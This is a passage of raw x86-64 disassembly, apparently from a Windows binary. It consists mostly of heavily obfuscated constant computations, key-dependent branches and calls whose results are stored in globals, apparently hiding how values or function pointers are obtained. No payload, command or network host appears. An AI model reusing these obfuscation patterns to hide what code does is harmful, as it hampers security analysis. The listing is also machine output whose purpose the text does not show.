movabs rcx, 0xf5ed7e878c78f5e7
xor rcx, rbx
not rcx
xor rcx, r9
sub rcx, r10
call fcn.1400d81f8
mov qword [0x14036d9a0], rax
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.1400dab70
xor r14d, r14d
mov dword [rbp - 0x48], r14d
mov dword [rbp - 0x48], 0x66fc4ccd
mov eax, dword [rbp - 0x48]
add eax, 0xa905b1b5
xor eax, 0x470a3b0a
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5b60a013
xor eax, 0xcdf0d135
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb6115633
add eax, ecx
xor eax, 0xa735fb57
add eax, 0x2537f9fb
xor eax, 0x6cb5d429
mov r8d, dword [0x14035f030]
xor r8d, 0x255beae5
sub r8d, eax
mov eax, dword [0x14035f038]
xor eax, 0xdaa4151a
sub r8d, eax
sub r8d, ecx
add r8d, 0x431d0ac
xor r8d, 0xd24ea442
mov dword [rbp - 0x48], r8d
mov dword [rbp - 0x44], r14d
mov dword [rbp - 0x44], 0x8fc84798
mov eax, dword [rbp - 0x44]
add eax, 0xbbf3f635
xor eax, 0x8b8a4df8
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x2466951f
xor eax, 0xbab6d3a3
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xdc5ee837
add eax, ecx
xor eax, 0x919e3535
add eax, 0x280d142d
xor eax, 0x3f3e1a77
mov edx, dword [0x14035f030]
xor edx, 0x251031d3
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdaefce2c
sub edx, eax
sub edx, ecx
sub edx, 0x1d9f63a1
xor edx, 0x98dd5a44
mov dword [rbp - 0x44], edx
movsxd r10, edx
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x40], 0x4f5894e1
mov eax, dword [rbp - 0x40]
add eax, 0xb94af4b5
xor eax, 0x8a0a4b4f
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5b916fdc
xor eax, 0xbd6a7929
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x1ffb51c0
add eax, ecx
xor eax, 0x94a6faeb
add eax, 0x2168af47
xor eax, 0x4c92b07f
mov r9d, dword [0x14035f030]
xor r9d, 0x251ad5d9
sub r9d, eax
mov eax, dword [0x14035f038]
xor eax, 0xdae52a26
sub r9d, eax
sub r9d, ecx
add r9d, 0x555d57e3
xor r9d, 0xfe2e5836
mov dword [rbp - 0x40], r9d
mov dword [rbp - 0x3c], r14d
mov dword [rbp - 0x3c], 0xfc7b588f
mov eax, dword [rbp - 0x3c]
add eax, 0x3ad23536
xor eax, 0xca8accd6
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x22e9fa62
xor eax, 0x39dd1ba6
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb02839b2
add eax, ecx
xor eax, 0xe8b558
sub eax, 0x7c3fb38f
xor eax, 0x7cb0405
mov edx, dword [0x14035f030]
xor edx, 0x2314b8d7
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdceb4728
sub edx, eax
sub edx, ecx
add edx, 0x5b3d3ca5
xor edx, 0xabdd8298
mov dword [rbp - 0x3c], edx
movsxd rcx, edx
mov eax, dword [0x14037ef6c]
test eax, eax
je 0x140291ee2
mov dword [rbp + 0x1d0], eax
mov dword [rsp + 0x58], r8d
mov qword [rsp + 0x50], r10
mov dword [rsp + 0x48], r9d
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp - 0x7c]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x180]
lea r8, [rbp + 0x270]
mov edx, r13d
lea rcx, [rbp + 0x58]
call fcn.1402a1240
nop
mov dword [rbp - 0x3c], r14d
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x44], r14d
mov dword [rbp - 0x48], r14d
mov rsi, qword [rbp + 0x58]
mov qword [rsp + 0x78], rsi
mov rcx, qword [rbp + 0x150]
test rcx, rcx
je 0x140291f2c
mov rax, r14
cmp qword [rbp + 0x158], r14
jbe 0x140291f2c
mov byte [rcx + rax], r14b
inc rax
cmp rax, qword [rbp + 0x158]
jae 0x140291f2c
mov rcx, qword [rbp + 0x150]
jmp 0x140291f13
mov dword [rbp - 0x64], r14d
mov dword [rbp - 0x68], r14d
mov dword [rbp - 0x78], r14d
mov dword [rbp - 0x80], r14d
mov qword [rbp + 0x70], r14
movabs rax, 0x9747009ddff4d344
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r14
movabs rax, 0x9dbc0b5837a08143
mov qword [rbp + 0x78], rax
movabs rcx, 0xf33a52b78499a583
add rcx, qword [rbp + 0x78]
movabs rax, 0xcad53662530b169e
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80a20ca411
add rcx, rax
movabs rax, 0xf8f8cd96eeee8d97
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654b78c0200c2
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a6acc1393f
xor rcx, rax
movabs rax, 0x5f627dc4a8a3f81a
sub rcx, rax
movabs rax, 0xb23b3cd19ee4fda3
xor rcx, rax
movabs rdx, 0xb483ce434ccae267
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ade1264ea
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521ed9b15
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d93984dc1bf
add rdx, rax
add rdx, rcx
movabs rax, 0xbc4ae314f13df532
xor rdx, rax
mov qword [rbp + 0x78], rdx
movabs rcx, 0xcc5ad49c219723a
add rcx, qword [rbp + 0x70]
movabs rax, 0x978b4fedad9d541e
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x4ed45970eb5424ab
add rcx, rax
movabs rax, 0x707459a6878c1ae
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x5829ab460987065f
add rcx, rax
add rcx, rdi
movabs rax, 0xa56e8657de9b73c0
xor rcx, rax
movabs rax, 0x2b02fde74165e4a0
sub rcx, rax
movabs rax, 0x3fc4c32dab932b49
xor rcx, rax
movabs rax, 0x95ab432b0ef99447
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0xec3316b52708641c
xor r10, rax
sub rcx, r10
movabs rax, 0x13cce94ad8f79be3
xor r11, rax
movabs rax, 0x1f4a914ad702f44a
add rcx, rax
add rcx, r11
movabs rax, 0xe79efaebe811b8d4
xor rcx, rax
mov qword [rbp + 0x70], rcx
and rcx, rdx
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], r14
cmp rsi, rcx
jne 0x1402921b8
mov dword [rbp - 0x38], r14d
mov dword [rbp - 0x38], 0x64f36e37
mov eax, dword [rbp - 0x38]
add eax, 0xcdd13b36
xor eax, 0xd08b5fd5
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x2130fd50
xor eax, 0xa492198e
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0xe89f0d0d
add eax, edx
xor eax, 0x593dd280
add eax, 0x68dd1a99
xor eax, 0x8e46e90d
mov ecx, dword [0x14035f030]
xor ecx, 0x20c8bcbf
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdf374340
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x387f6516]
xor eax, 0xa99e2cc0
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x38], r14d
jmp 0x14029a0af
mov dword [rbp + 0x148], r14d
mov qword [rbp + 0x80], r14
movabs rax, 0x7df51c89137e5de5
mov qword [rbp + 0x80], rax
movabs rcx, 0xf33a52b61ed78283
add rcx, qword [rbp + 0x80]
movabs rax, 0xa7d536625309b0dc
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80a63dea7a
add rcx, rax
movabs rax, 0xf8f8cd985a47b923
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654b971a30744
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a844d2a92b
xor rcx, rax
movabs rax, 0x5f627dc6bbae588e
sub rcx, rax
movabs rax, 0xca3b3cd251d13d34
xor rcx, rax
movabs rax, 0xb483ce44a8c4b672
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad87b5c5e
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52784a3a1
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d8dfb702d33
add rdx, rax
add rdx, rcx
movabs rax, 0x55de2d0ca3dcf11e
xor rdx, rax
mov qword [rbp + 0x80], rdx
mov dword [rbp + 0x140], edx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r14
movabs rax, 0xa9be477ff9b4a8fb
mov qword [rbp + 0x88], rax
movabs rcx, 0xf33a52b5adf76803
add rcx, qword [rbp + 0x88]
movabs rax, 0x8d55366253093ffb
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f586f7537
sub rcx, rax
movabs rax, 0xf8f8cd98cceb540d
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654ba0adb3b3d
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a8c5924765
xor rcx, rax
movabs rax, 0x5f627dc72729e288
sub rcx, rax
movabs rax, 0x9e3b3cd28a44d175
xor rcx, rax
movabs rax, 0x3483ce45168eb038
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad6b7dbf4
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52948240b
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d8c562a42c9
add rdx, rax
add rdx, rcx
movabs rax, 0xa28ddddd0574c37c
xor rdx, rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x144], edx
mov qword [rbp + 0x88], r14
movabs rax, 0xed838788ad8e7fe0
movabs r14, 0x66b7cdb7ae78938a
movabs r11, 0xca2ccfd738a596f3
mov r10, qword [0x14035f060]
imul r10, rax
movabs rax, 0xed8a9dcd1c277d70
xor r10, rax
mov r13, r10
imul r13, r11
movabs rdi, 0xaaaaaaaaaaaaaaab
mov rax, rdi
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r9, r10
and r9, r11
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
movabs rax, 0x7ff946a3ba9191c8
imul r9, rax
shr r9, 3
movabs rax, 0xaa97df34d611e338
xor r9, rax
movabs rax, 0xffffff57c5ae06fb
mov rbx, r10
imul rbx, rax
sub rbx, 0x3e1386c
xor rbx, qword [0x14035f060]
xor rbx, r9
mov rax, r9
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bcc1db9da
imul rax, rcx
not rax
and rbx, rax
ror rbx, 0x18
shr rbx, 8
movabs r12, 0x35d33028c75a690d
lea rcx, [r10 + r12]
xor rcx, 0xfffffffff293b2d7
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x8c86e095d3188d18
lea r8, [0x14035f060]
mov rsi, qword [r8 + rcx*8]
imul rsi, rax
sub rsi, r12
movabs rcx, 0xfb60e1e22b639ff8
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r15, rsi
xor r15, r10
lea rcx, [rsi + r12]
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r8 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xcb
mov eax, 0x8000003f
and ecx, eax
jge 0x14029255e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r9
imul rdx, r15, 0xfffffffffc1ec794
mov qword [rbp + 0x558], rdx
lea rdi, [rdx + r12]
mov r8, rsi
imul r8, rbx
sub r8, rdi
xor r8, r14
movzx r12d, dil
mov ecx, r12d
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x14029259f
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0xb5ce82815c8c297c
imul r15, rax
movabs rax, 0x5c5163503e3faaa9
sub r15, rax
xor r8, r15
mov rax, rdi
sub rax, qword [0x14035f078]
xor r8, rax
xor r8, r9
xor r8, r10
mov rax, r8
movabs r15, 0xcccccccccccccccd
and eax, 3
je 0x14029292d
sub rax, 1
je 0x1402927f3
sub rax, 1
je 0x1402926ff
cmp rax, 1
jne 0x1402929e2
mov r14, rdi
imul r14, rsi
movabs rax, 0xb8a4f820dfc837bf
add rax, r8
xor r14, rax
ror r14, 0x20
shr r14, 0xc
xor r14, r10
not r14
movabs rcx, 0x83572eecb7e0
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x3551b550a2adfe57
xor rdx, rax
movzx eax, r14b
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9760c5b23
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, r11
mov eax, 0xa7d789c9
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r11, 0x13e582128eeaa7f4
sub r11, r14
shr r11, cl
movabs rax, 0x35db54b11cae6213
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, rbx
xor r11, rax
jmp 0x1402929e2
movabs rax, 0xaaaaaa1aa7ce74f7
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed65c3a8bb
imul rcx, rax
movabs rdi, 0xfff17ca870ac428b
mov rax, r9
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a81de462b
imul rdx, rax
movabs rsi, 0xa6d9323f5d0d795a
add rsi, rcx
add rsi, rdx
movabs rax, 0x277cd7be751ea397
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, rsi
not rdi
lea rax, [0x14035f060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xfffffffff29ba227
lea ecx, [r8 - 0xb]
and cl, 0x3f
rol rdi, cl
movabs rax, 0x8306d8680000000
xor r13, rax
movabs rax, 0x7c7a7dc69b9ca896
and r13, rax
imul rdi, r13
mov rcx, rdi
ror rcx, 0x20
not rcx
movabs rax, 0x9b2de6b2ebc886c0
imul rcx, rax
mov rax, rsi
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, bl
and cl, 0x3f
ror rdx, cl
mov rax, r11
mov r11, rdx
imul r11, rax
jmp 0x1402929e2
movabs rax, 0xd38b8fe23ead0daf
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x35d33028c75a690c
mov rax, r10
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r9, rax
and r12d, 0x8000003f
jge 0x14029284d
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r9, cl
movabs rcx, 0x35d33028c75a690d
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfd738a596f3
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7fb0a02da
or r9, rax
mov r11, qword [0x14035f070]
imul r11, r14
sub r11, rdi
mov rax, rbx
sub rax, r9
xor r11, rax
movabs rax, 0xc7a7c6a6aa0202d7
xor r11, rax
mov rax, r15
mul r10
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r10
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r11
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, rdi
imul rdx, r11
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, r10
movabs r10, 0x789589465504ecd
add r10, rax
xor r10, rbx
movzx eax, sil
imul ecx, eax, 0xf2
and cl, 0x3f
rol r10, cl
not r10
jmp 0x1402929e2
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, rdi
not rbx
imul rbx, rsi
movabs rax, 0x7cd8a7de77f35336
imul rbx, rax
mov rax, r9
imul rax, r10
mov r10, rbx
xor r10, rax
imul rbx, qword [0x14035f060], 0xfffffffffc1ec794
mov rdx, qword [0x14035f068]
sub rbx, rdx
mov al, r10b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402929cb
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
movabs rax, 0x35d33028c75a690d
add rbx, rax
add rbx, qword [rbp + 0x558]
movabs rax, 0xff055d7b87b859fb
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r9, r10
lea rax, [0x14035f060]
imul r9, qword [rax + r14*8]
not rdi
imul rdi, r8
imul rdi, rbx
imul rdi, r11
movabs rcx, 0xf5ed7e87800b1327
xor rcx, rsi
not rcx
xor rcx, rdi
sub rcx, r9
call fcn.14028fdb4
mov qword [0x14036d9e8], rax
xor r8d, r8d
mov dword [rbp - 0x34], r8d
mov dword [rbp - 0x34], 0x8b510c65
mov eax, dword [rbp - 0x34]
add eax, 0xadbd54b6
xor eax, 0xea0b3fc1
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5e6ec6fc
xor eax, 0xc5264fa8
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xd42a106f
add eax, ecx
xor eax, 0x7dd4856a
add eax, 0x605678c7
xor eax, 0xd251dcec
mov edx, dword [0x14035f030]
xor edx, 0x21490c59
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdeb6f3a6
sub edx, eax
sub edx, ecx
add edx, 0x187c20c8
xor edx, 0xe15c7cb6
mov dword [rbp - 0x34], edx
movsxd rax, edx
mov qword [rbp + 0x90], rax
mov dword [rbp - 0x34], r8d
mov dword [rbp - 0x30], r8d
mov dword [rbp - 0x30], 0x14629117
mov eax, dword [rbp - 0x30]
add eax, 0xd483d536
xor eax, 0x6a8b6688
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x211ce582
xor eax, 0x9dc4b526
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0xdf879d02
add eax, edx
xor eax, 0x519a1ad8
add eax, 0x6bacaaf1
xor eax, 0xbaed6678
mov ecx, dword [0x14035f030]
xor ecx, 0x20adf257
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdf520da8
sub ecx, eax
sub ecx, edx
add ecx, 0x5a2647c8
xor ecx, 0xb0537418
mov dword [rbp - 0x30], ecx
mov dword [rbp - 0x30], r8d
mov qword [rbp + 0x98], r8
movabs rax, 0xd45ffe68bce0bbd
mov qword [rbp + 0x98], rax
movabs rcx, 0xf33a52b117512a83
add rcx, qword [rbp + 0x98]
movabs rax, 0x4fd536625304a955
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80b5547d82
add rcx, rax
movabs rax, 0xf8f8cd9d75ec2a83
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654c04559e3b8
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179ae0167e58b
xor rcx, rax
movabs rax, 0x5f627dc65d68f2ee
sub rcx, rax
movabs rax, 0x8a3b3cd4d5bca567
xor rcx, rax
movabs rax, 0xb483ce498d16620a
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac45d42fe
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53ba2bd01
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d7a0978f3d3
add rax, rdx
add rax, rcx
movabs rcx, 0x92e70f4e8d8ec8fe
xor rax, rcx
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], r8
movabs rax, 0x85e7f3e6b95534d
mov qword [rbp + 0xa0], rax
movabs rcx, 0xf33a52b5af269003
add rcx, qword [rbp + 0xa0]
movabs rax, 0xb55536625309412b
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f587302af
sub rcx, rax
movabs rax, 0xf8f8cd98cbb76f6d
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654ba093fb871
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a8c4387dc5
xor rcx, rax
movabs rax, 0x5f627dc72558dba8
sub rcx, rax
movabs rax, 0x5e3b3cd289ad33fb
xor rcx, rax
movabs rax, 0x3483ce451567d250
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad6bc9894
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52943676b
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d8c5aed97e9
add rax, rdx
add rax, rcx
movabs rcx, 0xa16d9f1d44f351dc
xor rax, rcx
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xa0], rax
mov dword [rbp - 0x2c], r8d
mov dword [rbp - 0x2c], 0x291ef8bd
mov eax, dword [rbp - 0x2c]
add eax, 0xde49a3b6
xor eax, 0x390b704e
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5f006be9
xor eax, 0x93d7cf6c
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x12439b33
add eax, ecx
xor eax, 0x46747b4e
add eax, 0x6d2bc753
xor eax, 0x420a310a
mov r13d, dword [0x14035f030]
xor r13d, 0x2086db1d
sub r13d, eax
mov eax, dword [0x14035f038]
xor eax, 0xdf7924e2
sub r13d, eax
sub r13d, ecx
add r13d, 0xaa7c65c
xor r13d, 0x8192839a
mov dword [rbp - 0x2c], r13d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140290018
movabs rax, 0x269cb59800000000
mov r15, qword [0x14035f070]
imul r15, rax
movabs rax, 0xd3d31cb700000000
xor r15, rax
movabs r9, 0xbbadf91f49a1fc68
mov rcx, r15
imul rcx, r9
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, r15
and rbx, r9
lea rdi, [0x14035f060]
imul rbx, qword [rdi + rcx*8]
movabs rax, 0x9d1a1bded26d18b8
imul rbx, rax
shr rbx, 3
movabs rax, 0x97acc4a9be0b0268
xor rbx, rax
movabs rax, 0xffffff57c7bf6d9b
mov r11, r15
imul r11, rax
sub r11, 0x3560eb8
xor r11, rbx
mov r12, qword [0x14035f060]
xor r11, r12
mov rax, rbx
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bce0cd2ba
imul rax, rcx
not rax
and r11, rax
ror r11, 0x23
shr r11, 8
movabs r8, 0x445206e0b65e0398
lea rcx, [r15 + r8]
xor rcx, 0xfffffffff082d9b7
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x1473b6c8838c6f0
mov rsi, qword [rdi + rcx*8]
imul rsi, rax
sub rsi, r8
movabs rcx, 0xdda604ec9a72d660
mov rax, rbx
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r9, rsi
xor r9, r15
lea rcx, [rsi + r8]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [rdi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xab
mov eax, 0x8000003f
and ecx, eax
jge 0x140292f6f
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r9, cl
not r9
imul r9, rbx
imul r14, r9, 0xfffffffffca9f148
lea rdi, [r14 + r8]
mov r8, rsi
imul r8, r11
sub r8, rdi
movabs rcx, 0x963d578bb2757f3f
xor r8, rcx
movzx ecx, dil
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x140292fb0
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, rdi
sub rax, qword [0x14035f078]
xor r8, rax
movabs rax, 0x88f5991c34d4e540
imul r9, rax
movabs rax, 0x1bfb39a2c3acea40
sub r9, rax
xor r8, r9
xor r8, rbx
xor r8, r15
mov rax, r10
mul rbx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, rbx
sub rdx, rax
mov rax, r8
imul rax, qword [0x14035f080]
lea rcx, [0x14035f060]
mov r10, qword [rcx + rdx*8]
and r10, rax
xor r10, rbx
and bl, 0x3f
mov cl, bl
ror r10, cl
imul r10, rdi
not r11
imul r11, rsi
movabs rax, 0x7cd8a7de75e23856
imul r11, rax
mov rax, r10
imul rax, r15
xor r11, rax
imul r9, r12, 0xfffffffffca9f148
mov rdx, qword [0x14035f068]
sub r9, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14029306f
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r9, cl
lea rcx, [r14 + r9]
movabs rax, 0xbbadf91f49a1fc68
imul rcx, rax
movabs rax, 0x1bfb39a2c3acea40
sub rcx, rax
movabs rax, 0xbbadf91f49a1fc67
sub rax, r14
imul rcx, rax
imul rcx, r8
movabs rax, 0xf5ed7e87821a7847
xor rsi, rax
not rsi
xor rcx, rsi
xor r10, r11
imul r10, r12
sub rcx, r10
call fcn.14028fc94
mov qword [0x14036d9b8], rax
xor r15d, r15d
mov dword [rbp - 0x28], r15d
mov dword [rbp - 0x28], 0x76446886
mov eax, dword [rbp - 0x28]
add eax, 0x419887b5
xor eax, 0x1d09d39d
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5a2a5895
xor eax, 0x36fbafdd
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x427604b6
add eax, ecx
xor eax, 0x1d2e7f3f
add eax, 0x4c3fb6e3
xor eax, 0xf06fa493
lea edx, [rcx - 0x7909079d]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd9066072
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x26f99f8d
add ecx, 0x86fd3e0d
add ecx, edx
xor ecx, 0x394becca
mov dword [rbp - 0x28], ecx
movsxd r9, ecx
mov dword [rbp - 0x24], r15d
mov dword [rbp - 0x24], 0x38340095
mov eax, dword [rbp - 0x24]
add eax, 0x843acc35
xor eax, 0x618a163f
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x250dc09d
xor eax, 0xf34ee24b
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x2802c0ba
add eax, ecx
xor eax, 0xd12d691d
add eax, 0x1b19d095
xor eax, 0xab1c6d40
mov edx, dword [0x14035f030]
xor edx, 0x25ef167b
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xda10e984
sub edx, eax
sub edx, ecx
sub edx, 0x33544223
xor edx, 0x506d8a6c
mov dword [rbp - 0x24], edx
movsxd r8, edx
mov dword [rbp - 0x20], r15d
mov dword [rbp - 0x20], 0xec7b4555
mov eax, dword [rbp - 0x20]
add eax, 0x409c06b6
xor eax, 0x9c0ad2a0
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5d276312
xor eax, 0x33fc22e0
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x684cc5d0
add eax, ecx
xor eax, 0xfa4e8262
sub eax, 0x786e4851
xor eax, 0x78e5ecf7
mov edx, dword [0x14035f030]
xor edx, 0x22fd9191
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdd026e6e
sub edx, eax
sub edx, ecx
sub edx, 0x7e549cf
